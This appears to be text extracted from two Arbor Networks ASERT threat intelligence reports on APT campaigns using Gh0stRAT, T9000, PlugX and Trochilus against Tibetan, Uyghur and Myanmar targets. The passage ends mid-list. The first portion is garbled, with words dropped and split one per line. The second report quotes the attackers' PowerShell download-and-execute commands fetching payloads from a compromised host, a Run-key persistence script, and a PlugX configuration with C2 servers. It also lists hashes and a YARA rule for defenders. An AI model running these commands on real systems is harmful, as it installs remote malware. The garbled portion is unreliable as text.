+f7c04e8b188fa38d0f62f620e3bf01dc +(Micbt/CltID.ini): +54afa267dd5acef3858dd6dbea609cd9 +(Micbt/IconConfigBt.DAT): +516774cb0d5d56b300c402f63fe47523 +(Micbt/MemoryLoad.dump): +db0f8ba69aa71e9404b52d951458b97c +(Micbt/RasTls.dll): +1e9e9ce1445a13c1ff4bf82f4a38de0d +(Micbt/RasTls.exe): +62944e26b36b1dcace429ae26ba66164 +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +SHA- +(90t69cf82.dll): +afd0eae5065a689f8fc48c0cfc5b87f4caecc2fb6b1cef4c5e977fc2cc98509d +SHA- +(RTF): +a0da9887b4c5af009a41b783db7ffedf949013abc70777c0ec539299628a51eb +SHA- +(B512.tmp): +cdb1d2f843ce797084cfc90107a2582e4861f4051aab0f6ac374468f491232a5 +SHA- +(~tmp.doc): +aecd3e146632e9dfa0a92f486855144df0f87181feb67ac414a618fd52960c8c +SHA- +(Micbt/BTFly.dump): +3b828a81ff5b0766c99284524b18fcd10d553191741bc1ed89904cdaa79baae1 +SHA- +(Micbt/CltID.ini): +1590a42e67fe02892dfeb6f29e0e6ae91c503d4ea91b550557c513e92f5ac7eb +SHA- +(Micbt/IconConfigBt.DAT): +0a47bd32b83f09be1ea5a29dce6b7d307de7b3cdd69f836e0c810fd578f85c7c +SHA- +(Micbt/MemoryLoad.dump): +aace766acea06845c29b306a9e080edcb3407635398007f3b9b5e053198b54f4 +SHA- +(Micbt/RasTls.dll): +bc2f7ebcad10aa48a69680f14fc57434436b821d5e7f2666a0f6d8795b0d37d1 +SHA- +(Micbt/RasTls.exe): +f9ebf6aeb3f0fb0c29bd8f3d652476cd1fe8bd9a0c11cb15c43de33bbce0bf68 +Some +potentially +useful +Unicode +strings +present +inside +RasTls +files: +Unicode +Strings: +===================== +ProgramFiles +kernel32.dll +SeDebugPrivilege +Install +SOFTWARE\Microsoft\Windows\DbxUpdateBT +SOFTWARE\Microsoft\Windows\ +\%dt%dcf%d.dll +\MemoryLoad.dump +\IconConfigBt.DAT +case +case +into +InjectProMain +%ProgramFiles%\Internet +Explorer\iexplore.exe +iexplore.exe +process +(that +target +process +injection) +loads +90t69cf82.dll +binary +that +malware +also +dropped. +Connections to Historical and Ongoing Threat Campaign Activity +ASERT +other +instances +Gh0stRAT, +LURK0 +version +malware +repository. +Passive +pivots +address +associated +with +manhaton.123nat[.]com +(122.10.112[.]126) +reveals +several +other +potentially +interesting +domains +that +have +used +this +including: +softinc[.]pw +www.tibetimes[.]com. +interesting +note +that +this +tibetimes.com +domain +have +been +attempt +spoof +domain +www.tibettimes.net. +Passive +shows +activity, +including +relationships +Uyghur +based +domains. + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Domain +name +www.tibetimes.com +softinc.pw +First +seen +2015- +02:04:24 +2015- +06:43:26 +Last +seen +2015- +01:25:34 +2015- +18:57:21 +email +address +associated +with +these +domains +lobsang[@]gmx.com +another +2732115454[@]qq.com. +these +mail +addresses +associate +with +Uyghur +Tibetan +themed +domains +shown +here: +following +diagram +zooms +Uyghur- +based +domain +names +highlighting +connection +between +this +Gh0stRAT +sample +domain +metadata +other +activity +observed, +such +domain +whitewall[.]top +used +PlugX +configuration +previously +mentioned. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Additional +investigations +underway +determine +scope +particular +threat +herein. +Targeted Exploitation #12: T9000 Malware; Tibet House Lure +This +malware +originates +December +2015 +used +original +filename +[tibethouse] +Upcoming +Program +Announcement +Last +Week +December.doc +This +timing +naming +scheme +consistent +with +Tibetan- +themed +engagement +seen +late +December +2015. +malware +first +submitted +Virus +Total +from +India, +exploits +CVE- +2012- +0158, +CVE- +2012- +1856, +CVE- +2016- +1641. +bait +file +seven +page +Upcoming +Programme +Announcement +apparently +written +Tibet +House. +Document +metadata +shows +user +name +HighSea +(previously +observed +Targeted +Exploitation +herein): + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Related +People +values +inside +these +documents +related +threat +actors, +threat +actor +infrastructure. +There +enough +information +determine +these +names +simply +generated +programmatically +they +actually +represent +real +people. +event, +names +have +been +used +some +cases +useful +indicator +maliciously +crafted +document. +malware +play +here +T9000, +displaying +usual +expected +T9000 +files +including +Elevate.DLL +file +discussed +earlier +this +report. +malware +binary +itself +identical +aforementioned +T9000 +sample +(Sixteen +Drops +Kadam +Empowerment: +T9000 +Keylogger) +therefore +also +identical +what +reported +earlier. +198.55.120[.]143:7386 +URL: +http://198.55.120[.]143:7386/B/ResN32.dll +(RTF): +98bcd226890c5c2694ef9a34a23c9fbf +(Elevate.dll): +1d335f6a58cb9fab503a9b9cb371f57b +(QQMgr.dll): +b9c584c7c34d14599de8cd3b72f2074b +(QQMgr.inf): +8ac933be588f49560179c26ddbc6a753 +(ResN32.dat): +50753c28878ce10a748fbd7b831ecbe1 +(ResN32.dll): +a45e5c32fc2bc7be9d6e4bba8b2807bf +(hccutils.dll): +2299fb8268f47294eb2b18282540a955 +(hccutils.inf): +2f31ef1a8fca047ed0d623010d569857 +(hjwe.dat): +d3601a5160b8d122261989d147221eb7 +(qhnj.dat): +a9de62186cb8d0e23b0dc75e1ae373ac +(tyeu.dat): +29ec20f5fa1817dc9250c434e61420ea +(vnkd.dat): +35f4ce864c3a3dc016fea3459d6402a9 +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +(~1): +b901f0b4aa6a3a6875235f96fce15839 +SHA- +(RTF): +e13a0357cd51795100dbce25fe846783fbb7fd22c5efe438d9059edc10492f49 +SHA- +(Elevate.dll): +9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95 +SHA- +(QQMgr.dll): +bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f +SHA- +(QQMgr.inf): +ace7e3535f2f1fe32e693920a9f411eea21682c87a8e6661d3b67330cd221a2a +SHA- +(ResN32.dat): +5b90fa081e3ac29a7339995f9b087dab9981409ff62e3215eb558908c6b96b14 +SHA- +(ResN32.dll): +1cea4e49bd785378d8beb863bb8eb662042dffd18c85b8c14c74a0367071d9a7 +SHA- +(hccutils.dll): +3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9 +SHA- +(hccutils.inf): +f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27 +SHA- +(hjwe.dat): +bb73261072d2ef220b8f87c6bb7488ad2da736790898d61f33a5fb7747abf48b +SHA- +(qhnj.dat): +c61dbc7b51caab1d0353cbba9a8f51f65ef167459277c1c16f15eb6c7025cfe3 +SHA- +(tyeu.dat): +e52b5ed63719a2798314a9c49c42c0ed4eb22a1ac4a2ad30e8bfc899edcea926 +SHA- +(vnkd.dat): +c22b40db7f9f8ebdbde4e5fc3a44e15449f75c40830c88932f9abd541cc78465 +SHA- +(~1): +df50ea33616c916720c81d65563175d998a2c606360eeb3c8b727a482de3a4fc + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Conclusion +Threat +actors +using +similar +exploit +code +launching +continuing +variety +campaigns +(termed +engagement +herein, +where +engagement +offensive +action +within +larger +campaign +context) +aimed +targets +such +Tibetan +community, +Hong +Kong +Taiwanese +media, +Asian +human +rights +workers. +easy +delivery +files +attachments +observation +numerous +spear +phish +samples +which +reveal +precise +targeting +timelines, +likely +that +spearphish +primary +vector +choice +most +targeted +exploitation +scenarios +profiled +herein. +files +observed +herein +contained +four +unique +exploits +various +versions +Office. +hypothesized +that +similar +builder +which +named +Four +Element +Sword +Builder +involved +creation +these +malicious +documents, +however +future +work +required +precisely +classify +Four +Element +Sword +builder +with +respect +crimeware +activity. +case +oriented +threat +scenarios +profiled +herein, +anywhere +from +exploits +were +typically +observed. +case +cybercrime +activities +that +will +profiled +separate +forthcoming +document, +these +exploits +were +typically +observed. +exploit +code +observed +deals +with +older +vulnerabilities +that +have +been +patched. +However, +considering +target +populations +hand, +possible +that +older +systems +still +use. +Once +actors +gain +toehold +inside +organization, +past +history +shows +that +just +matter +time +before +lateral +movement +further +exploitation +scenarios +will +unfold +implement +actors +actions +objectives. +case +Tibetan +community, +which +been +under +attack +years, +there +have +been +awareness +campaigns +designed +reduce +risk +implementing +special +controls +procedures +around +dealing +with +attachments. +Recently +published +documents +other +security +research +organizations +have +revealed +that +actors +have +evolved +newer +methods +their +ongoing +efforts +stay +beneath +radar. +Regardless +delivery +method, +malware +profiled +herein +active +threats +likely +deployed +numerous +other +scenarios +this, +other +groups +actors. +While +older +exploit +code +threat +some +populations +others, +weaponization +other +vulnerabilities +likely +taking +place +such +malware +easily +become +payload +such +case, +making +analytic +detective +insight +malicious +code +relevance +defenders +global +defensive +sphere. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +References +1. https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-blond.pdf +2. https://chinaview.wordpress.com/category/technology/internet/wikipedia/ +3. http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2012-0158-now-being-used-in-more-tibetanthemed-targeted-attack-campaigns/ +4. http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-insider.html +5. http://blog.ropchain.com/2015/07/27/analyzing-vupens-cve-2012-1856/ +6. https://gist.github.com/anonymous/4ac64f2a747db1bf5c89/revisions +7. https://www.youtube.com/channel/UCjgTCn331Pk4XTI68LwhkdQ/feed +8. https://nakedsecurity.sophos.com/2015/09/08/anatomy-of-a-malicious-email-recent-word-hole/ +9. https://nakedsecurity.sophos.com/2015/12/14/exploit-upgrade-for-microsoft-word-intruder-crimeware-kit/ +10. http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1770 +11. https://technet.microsoft.com/library/security/ms15-059 +12. http://researchcenter.paloaltonetworks.com/2015/08/rtf-exploit-installs-italian-rat-uwarrior/ +13. http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-on-president-ofmyanmars-website/ +14. https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-blond.pdf +15. https://www.f-secure.com/weblog/archives00001736.html +16. https://github.com/citizenlab/malware-indicators/blob/master/network-indicators.csv +17. http://www.europarl.europa.eu/meetdocs/2014_2019/documents/droi/dv/420_speechmckune_/420_speechmckun +e_en.pdf +18. https://www.virusbulletin.com/uploads/pdf/conference_slides/2013/Szappanos-VB2013.pdf +19. https://www.virusbulletin.com/virusbulletin/2014/02/needle-haystack/ +20. https://cryptam.com/docsearch.php?hash=0683fac0b564fe5d2096e207b374a238a811e67b87856fc19bdf8eb3d6f +76b49&submit=Search +21. http://about-threats.trendmicro.com/cloud-content/us/ent-primers/pdf/2q-report-on-targeted-attack-campaigns.pdf +22. http://blog.trendmicro.com/trendlabs-security-intelligence/new-targeted-attack-group-buys-bifrose-code-works-inteams/ +23. http://www.engadget.com/2014/01/16/cos-china-operating-system/ +24. http://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-governmentagencies-2/ +25. http://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bitsupport +26. http://tibet.net/2016/01/sixteen-drops-of-kadam-empowerment-day-two/ +27. http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-antianalysis-techniques/ +28. http://blog.jpcert.or.jp/2015/02/a-new-uac-bypass-method-that-dridex-uses.html +29. https://www.greyhathacker.net/?tag=elevate +30. http://www.rfa.org/english/news/tibet/freed-12042015165254.html +31. http://www.rsaconference.com/writable/presentations/file_upload/hta-w04a-dll-side-loading-a-thorn-in-the-side-ofthe-anti-virus-_av_-industry.pdf +32. http://pwc.blogs.com/cyber_security_updates/2016/03/taiwant-election-targetting.html +33. http://www.welivesecurity.com/2014/11/14/targeted-attacks-tibetan-advocates-using-g20-2014-summit-lure/ +34. https://citizenlab.org/2013/08/surtr-malware-family-targeting-the-tibetan-community/ +35. http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +About +ASERT +Arbor +Security +Engineering +Response +Team +(ASERT) +Arbor +Networks +delivers +world- +class +network +security +research +analysis +benefit +today's +enterprise +network +operators. +ASERT +engineers +researchers +part +elite +group +institutions +that +referred +super +remediators, +represent +best +information +security. +This +reflection +having +both +visibility +remediation +capabilities +majority +service +provider +networks +globally. +ASERT +shares +operationally +viable +intelligence +with +hundreds +international +Computer +Emergency +Response +Teams +(CERTs) +with +thousands +network +operators +intelligence +briefs +security +content +feeds. +ASERT +also +operates +world1s +largest +distributed +honeynet, +actively +monitoring +Internet +threats +around +clock +around +globe +ATLAS +Arbor's +global +network +sensors: +http://atlas.arbor.net. +This +mission +associated +resources +that +Arbor +Networks +brings +bear +problem +global +Internet +security +impetus +innovation +research. +view +latest +research, +news, +trends +from +Arbor, +ASERT +information +security +community +large, +visit +Threat +Portal +http://www.arbornetworks.com/threats/. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +ASERT Threat Intelligence Report 2015-08 +Uncovering the Seven Pointed Dagger +Discovery of the Trochilus RAT and Other Targeted Threats +Executive Summary +Previously, Arbor ASERT discovered indicators of the PlugX APT malware being used in a manner that +suggested the country of Mynamar may have been a target, or involved in staging other campaigns towards +other targets. Strategic Web Compromise (aka +Watering Hole +) tactics involving the placement of PlugX and +other malware were discovered on Mynamar government and other Myanmar related websites. Analysis of +malware configuration suggested that Special Economic Zones (SEZs) in Myanmar were of interest to the +threat actors. These findings were released by ASERT in a report called +Defending the White Elephant + found +at https://asert.arbornetworks.com/defending-the-white-elephant/ [1]. +In addition to ASERT, threat activity has been documented by Palo Alto Networks in June 2015 concerning a +Strategic Web Compromise of the Myanmar Presidential website that leveraged the Evilgrab malware [2]. +Their research also indicates instances of the 9002 RAT being used on the same web infrastructure. Later, +Citizen Lab published a report +Targeted Malware Attacks against NGO Linked to Attacks on Burmese +Government Websites + on October 16, 2015 that linked Arbor research to campaigns against an unnamed +NGO [3]. These events involved the PlugX malware, EvilGrab, and the 3102 variant of the 9002 RAT. +After delivering our initial findings to the Myanmar CERT in August, additional malware was subsequently +found on the Myanmar election site on October 20th, 2015 (now removed). Specifically, six RAR files containing two instances of PlugX, EvilGrab, an unknown malware, and two instances of a new APT malware +called the Trochilus RAT - plus an instance of the 3012 variant of the 9002 RAT were found. These seven +discovered malware offer threat actors a variety of capabilities including espionage and the means to move +laterally within targets in order to achieve more strategic access. As these seven malware appear to be +wielded by a distinct actor group (known to collaborators at Cisco +s Talos Group as +Group 27 +), we are +theatrically characterizing this cluster of malware as the Seven Pointed Dagger. +Information on threat actor TTP +s can help other organizations increase awareness that can lead to greater +resistance to and better detection of malice. ASERT continues to explore threat activity that has been +uncovered and will provide additional reporting as needed. + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Report Overview and Major Findings +The following infographic depicts the process by which the information in this report was uncovered. It can +serve as a useful reference and to maintain context while following the written trail in the rest of this report. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Union Election Commission Website Malware: August-October, 2015 +Several additional malware files were discovered on the Myanmar Union Election Commission (UEC) website +since the prior report that was initially published on August 17, 2015 [4]. +The presence of new malware after the initial notification process from Arbor indicates an ongoing +compromise of the site and possibly related sites and suggests that a more diligent Incident Response process +was required to discover all of the compromised infrastructure and victims of the malware activity. +These newer files and related content shall be analyzed herein. +Malware #1-6: Six RAR Files Containing PlugX, EvilGrab, an unknown malware, and the Trochilus RAT +As documented in the +Defending the White Elephant + paper, several RAR files containing malware were +discovered on the UEC website in the past. As of October 20, 2015 a new file was discovered at +http://www.uecmyanmar[.]org/dmdocuments/UEC-Invitation.rar and was present as of November 2015. +Following the trail left by this malware has helped ASERT uncover other related threat activity to include a +cluster of six malware packages stored in RAR file format on a staging/distribution server. +Malware #7: 3102 Variant of the 9002 RAT in Firefox Plugin +An additional malware file was stored at +http://www.uecmyanmar[.]org/plugins/system/jatabs/jatabs/FlashVideoPlayer.php and was submitted to +VirusTotal on August 21, 2015 from Japan and later on October 13 from Singapore. FlashVideoPlayer.php +contained a ZIP file that stored a Firefox plugin, which was used to launch the 3102 variant of the 9002 RAT. +Another instance of this RAT was also mentioned by Citizen Lab in their report, +Targeted Malware Attacks +against NGO Linked to Attacks on Burmese Government Websites +. The presence of the exact same RAT +family inside the fake Firefox Plugin on the UEC website creates a link between this artifact and attacks on the +unnamed NGO that were discussed inside the Citizen Lab report. +Malware set #1: Six RAR files (two PlugX, one EvilGrab, one unknown, two Trochilus RAT) +Figure 1: Screenshot of website containing additional malware (UEC-Invitiation.rar) as of October 20, 2015 + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +The newly observed file, stored in a RAR, is a storage tactic that has been previously observed on the same +site. Two prior filenames (discussed in the White Elephant report) were invitations.rar and PlanProposal.rar. +Inside the UEC-Invitation.rar file there is a folder called UEC Invitation that contains another folder called +Invitation. Inside this folder is a shortcut file, Invitation.LNK with a timestamp of August 24, 2015. Analysis of +the .LNK file turns up some interesting elements, such as the use of PowerShell inside the Target field, which +performs a download and execute of additional malware. +Figure 2: +Analysis of the .LNK file reveals malicious Powershell +Analysis of the LNK file metadata property store reveals some interesting aspects of the malware. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Figure 3: +In-depth analysis of .LNK metadatda +Figure 4: +UNDP Myanmar + a possible target or lure? +Of interest is the System.ItemTypeText value (a so-called +friendly +name + of a Windows element that is displayed during the use of an +application) of UNDP, which may stand for the United Nations +Development Program, the UN +s global development network. The +Myanmar-focused page for the UNDP [www.mm.undp.org] describes +their mission as follows: +In Myanmar, UNDP provides support to the +national political and socio-economic reforms that underpin the +country +s transition +. Therefore, the UNDP, or those that work with the +UNDP may have been targeted and may still be a target. +The System.DateCreated and System.DateModified values show +September 15, 2014, which could indicate that campaign activity has +been underway for over a year. It is also possible that this date could be +modified. +The next two fields of interest relate to the local filepath on the system +that was used to create the LNK shortcut file. +System.ItemFolderPathDisplayNarrow and System.ParsingPath both +reveal the presence of a Dropbox folder, and an Admin subfolder that contains another folder named UNDP. +Using cloud storage facilities appears to be a known tactic of this group of actors, as they were observed +utilizing Google Drive as described in +Targeted Attacks on an Environmental NGO + by CitizenLab. To our + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +knowledge, these are the first signs that Dropbox may also have been used. +The powershell is as follows (brackets added to any malicious contents to prevent accidental clicks): +%windir%\System32\cmd.exe /c mode con cols=15 lines=1 & powershell (new-object +System.Net.WebClient).DownloadFile('http://www.oma.org[.]tw/setup/note.exe','%TEMP%\note.exe'); StartProcess '%TEMP%\note.exe +The shortcut uses a command prompt to run PowerShell to invoke a System.Net.WebClient class to use the +DownloadFile method to get note.exe from target site, store it in %TEMP% then run the file. This powershell +basically performs a typical +download and execute + function of the file located at +http://www.oma.org[.]tw/setup/note.exe. +The www.oma.org[.]tw site is the +Occupational Medicine Association in R.O.C. +. This site is or was insecure, +as it had been compromised and defaced several times by apparently unrelated actors. The malware +mentioned herein has since been removed. +Figure 5: +Setup directory containing two malware +The payload of the first downloader, Note.exe also uses PowerShell to +download and execute http://down.360safe.com/inst.exe, which is the +360Total Security (Qihoo 360) anti-malware app. PowerShell also +downloads and executes the file Setup.exe from the same staging +directory on www.oma.org[.]tw/setup/. +Note.exe creates a persistence mechanism by creating a file called +StartON.bat which is then added to the Windows registry. The relevant +code is as follows: +start /min powershell (new-object System.Net.WebClient).DownloadFile('http://down.360safe[.]com/inst.exe', +'C:\\ProgramData\\ChromeDel.exe'); Start-Process -Wait -FilePath C:\\ProgramData\\ChromeDel.exe +echo start /min powershell (new-object +System.Net.WebClient).DownloadFile('http://www.oma.org[.]tw/setup/Setup.exe', +'C:\\ProgramData\\ChromeDel.exe'); Start-Process 'C:\\ProgramData\\ChromeDel.exe'>C:\\ProgramData\\StartON.bat +reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v StartON /t reg_sz +/d C:\\ProgramData\\StartON.bat /f +Setup.exe executes and drops two files: +data.dat + and +shell.dll + into the WEventsCache folder. Data.dat +appears to be encrypted, and shell.dll attempts to pose as a binary associated with the UltraEdit application. +Shell.dll appears to be a helper application known to its developers as Servant Shell. Based on review of the +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +code of the Trochilus RAT discovered by ASERT, shell.dll is a file generated when the RAT is compiled. +A YARA rule for discovering additional samples of ServantShell was created. +// servantshell.yara 10/26/15 +// Arbor Networks ASERT Nov 2015 +rule servantshell { +strings: +$string1 = "SelfDestruction.cpp" +$string2 = "SvtShell.cpp" +$string3 = "InitServant" +$string4 = "DeinitServant" +$string5 = "CheckDT" +condition: all of them +A relatively new feature of VirusTotal called RetroHunt was used with this YARA rule to discover other samples +of this malware. The malware appears to be rare - out of 80 terabytes of malware stored inside VirusTotal at +the time of search, only eight additional samples were discovered. One sample clearly revealed information +about where the malware had been found in the wild. The location of a file analyzed by VT on 9-30-2015 was +found on the staging/storage server and is still present at the time of this writing. +Figure 6: +Malware archive contains six APT-level threats +This URL is hosted in an open directory where +several other malware samples have been +stored in the form of RAR files, and reveals a +grouping of malware utilized in this and +perhaps other campaigns. This site has been +reported to the Myanmar CERT for incident +response. New content has been added to the +site as of Dec 10, 2015 (not reflected in the +image to the left). +The +Last modified + field suggests that this +webserver has been used as a file staging +location since at least April 10 of 2015. The first +indicators of passive DNS activity on this domain name were observed on April 10 at 03:20:28. While further +research is required to gain a better understanding of the distribution system at play, analysis of these files +can provide insight into the threat campaign(s) at hand. +The relevant file hashes, datestamps, and other data about the RAR files follows. An indented bullet means + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +that the prior bullet was an archive or installer file that contained the indented files. For example, in the first +sample, Patch-update0409BAN.rar contained Setup.exe, SqmApi.dll, and plgus_res.dll. The file plgus_res.dll is +an installer file that contains the five innermost files listed (starting with mcf.ep and ending with res.db). This +format shall be used throughout the document. Files shall be discussed in date order, in order to get a sense +of threat actor timelines and capabilities. +Sample #1: PlugX +MD5 (Patch-update0409BAN.rar) = 70f1a9ee69cea1b0f53099eb27753895 April 10, 2015 + MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a + MD5 (SqmApi.dll) = 660aa2b9375aaa8e0c1748974f130ba3 + MD5 (plgus_res.dll) = c91a22de0d7010b334c6010f6bd67462 + MD5 (mcf.ep) = 627aebf89b0771440cf7aa8e0a4db296 + MD5 (mcf.exe) = 884d46c01c762ad6ddd2759fd921bf71 + MD5 (mcutil.dat) = f02925b8d510e35cc33d662d2311f671 + MD5 (mcutil.dll) = 72e59f6e07a7f9981ef98b541a05628c + MD5 (res.db) = a453bb1f1b5bb3f4810e38290190516c +Run-time files are placed into the TaskSchedulerCUDL folder, as specified in the PlugX configuration. +Several of the files stored here are hidden from typical view using the System, Hidden attributes. The +purpose of the long, apparently randomly named, files is a topic for further investigation. +Table 1: PlugX filesystem activity +Attribute +File path and name +C:\ProgramData\TaskSchedulerCUDL\lpversudxi +C:\ProgramData\TaskSchedulerCUDL\mcf.ep +C:\ProgramData\TaskSchedulerCUDL\mcf.exe +%AppData%\Local\Temp\RarSFX0\mcf.exe +C:\ProgramData\TaskSchedulerCUDL\mcutil.dll +%AppData%\Local\Temp\RarSFX0\mcutil.dll +C:\ProgramData\TaskSchedulerCUDL\ufbidruosivibuted +MD5 hash +5f66c2e2679585d4e46a9a6a2b488bc5 +627aebf89b0771440cf7aa8e0a4db296 +884d46c01c762ad6ddd2759fd921bf71 +56809e68c70179bc88eb980aa313c89a +4893758ff2ce2d6eeacbf5577f149301 +Analysis of network traffic reveals that this malware makes an outbound connection to 222.222.222[.]222 on +TCP/9999, a connection that has been seen in several other samples in the original cluster of six. During our +analysis, this port was always non-responsive, yet attempted connections to 222.222.222[.]222 on TCP/9999 +should be cause for concern. Next, the malware issues a DNS query for webhttps.websecexp[.]com, and +receives a DNS response of 114.108.136[.]15. A connection to TCP/443 was then observed to this IP address. +The use of port 443 is leveraged by the malwares own protocol (it is not SSL/TLS). A visual representation of +the obfuscated traffic is included herein (red = client, blue = server). +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Figure 7: +Obfuscated PlugX connection to C2 +Network activity from this sample triggers the following Emerging Threats signature (based on a DNS lookup of +a known malicious domain): +[2021960] ET TROJAN PlugX or EvilGrab DNS Lookup (websecexp.com) (rev: 1) +The full configuration of this PlugX sample is as follows: +Sample Properties: +[plugx] cnc: appeur.gnway.cc:90 +[plugx] cnc: webhttps.websecexp.com:443 +[plugx] cnc: usacia.websecexp.com:53 +[plugx] cnc: usafbi.websecexp.com:25 +[plugx] cnc1: webhttps.websecexp.com:443 (TCP / HTTP) +[plugx] cnc2: usafbi.websecexp.com:25 (UDP) +[plugx] cnc3: usacia.websecexp.com:53 (HTTP / UDP) +[plugx] cnc4: appeur.gnway.cc:90 (TCP / HTTP) +[plugx] cnc5: usafbi.websecexp.com:25 (TCP / HTTP) +[plugx] cnc6: webhttps.websecexp.com:443 (HTTP / UDP) +[plugx] cnc_auth_str: 0409 ARP CUDLL +[plugx] dns: 168.126.63.1 +[plugx] dns: 61.4.64.4 +[plugx] dns: 8.8.8.8 +[plugx] dns: 203.81.64.18 +[plugx] enable_icmp_p2p: +[plugx] enable_ipproto_p2p: 0 +[plugx] enable_p2p_scan: +[plugx] enable_tcp_p2p: +[plugx] enable_udp_p2p: + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +[plugx] flags1: +4294967295 +[plugx] flags2: +[plugx] hide_dll: +[plugx] http: http://hi.baidu.com/nvcvrclsnzaioxe/item/5e101810ed4197b665eabf +[plugx] icmp_p2p_port: +1357 +[plugx] injection: +[plugx] inject_process: +%windir%\system32\svchost.exe +[plugx] inject_process: +%ProgramFiles%\Internet Explorer\iexplore.exe +[plugx] inject_process: +%windir%\explorer.exe +[plugx] inject_process: +%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe +[plugx] install_folder: +%AUTO%\TaskSchedulerCUDL +[plugx] ipproto_p2p_port: 1357 +[plugx] keylogger: +[plugx] mac_disable: 00:00:00:00:00:00 +[plugx] mutex: +Global\eNzAMQgOXyITQMt +[plugx] persistence: Service + Run Key +[plugx] plugx_auth_str: +open +[plugx] reg_hive: +2147483649 +[plugx] reg_key: +Software\Microsoft\Windows\CurrentVersion\Run +[plugx] reg_value: +McAfeeME +[plugx] screenshot_folder: %AUTO%\TaskSchedulerCUDL\bNjWcdOXFiQIME +[plugx] screenshots: 0 +[plugx] screenshots_bits: +[plugx] screenshots_keep: 3 +[plugx] screenshots_qual: +[plugx] screenshots_sec: +[plugx] screenshots_zoom: 50 +[plugx] service_desc: +Windows McAfeeOEMInfo Service +[plugx] service_display_name: +McAfeeOEMInfoME +[plugx] service_name: +McAfeeOEMInfoME +[plugx] sleep1: +100663296 +[plugx] sleep2: +[plugx] tcp_p2p_port: +1357 +[plugx] uac_bypass_inject: %windir%\explorer.exe +[plugx] uac_bypass_inject: %windir%\system32\dllhost.exe +[plugx] uac_bypass_inject: %windir%\system32\msiexec.exe +[plugx] uac_bypass_inject: %windir%\system32\rundll32.exe +[plugx] uac_bypass_injection: +[plugx] udp_p2p_port: +1357 +Some interesting elements about this sample configuration reveal an infrastructure overlap with the PlugX +samples profiled in the +Defending the White Elephant + paper. In addition to the fact that the samples were +present on the same staging/storage server, overlapping configurations add weight to the idea that the same +group of actors is involved. As far as deriving additional meaning from other elements in the configuration, the +cnc_auth_str value of +0409 ARP CUDLL + may be meaningful, and may indicate that the malware was +built/configured on April 09 (and placed on the staging server the next day, indicated by the webserver +timestamp). The +http + parameter pointing to a baidu.com site is used to deliver C2 +s to PlugX in the event +that all the C2 in the configuration are non-responsive. In this case, this content was unable to be recovered +from the Baidu site. Each PlugX sample reviewed here sometimes has configuration overlap with other +samples, which could indicate default values, or potentially values from previous campaigns that were not +removed. Somewhat distinct groups of actors wielding PlugX may potentially be profiled from unique +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +configuration values across samples. +Sample #2: PlugX +MD5 (Patch-updateYBbyYB.rar) = 63a463f2c18676d868d39785a48f073a June 3, 2015 + MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a + MD5 (SqmApi.dll) = 1177bf095bc3673a7373ead852af3f6c + MD5 (plgus_res.dll) = 69a00ee1aa56852bbd28bb9d9765b43c + MD5 (Google.com.Logo) = 02c2450c19bc21391ba2835edf2dd745 + MD5 (mcf.ep) = 57cc1ec6470e31ef20abde8e611125b5 + MD5 (mcf.exe) = 884d46c01c762ad6ddd2759fd921bf71 + MD5 (mcutil.dll) = 9e544eb353b78a6467858fda4b8ec14e + MD5 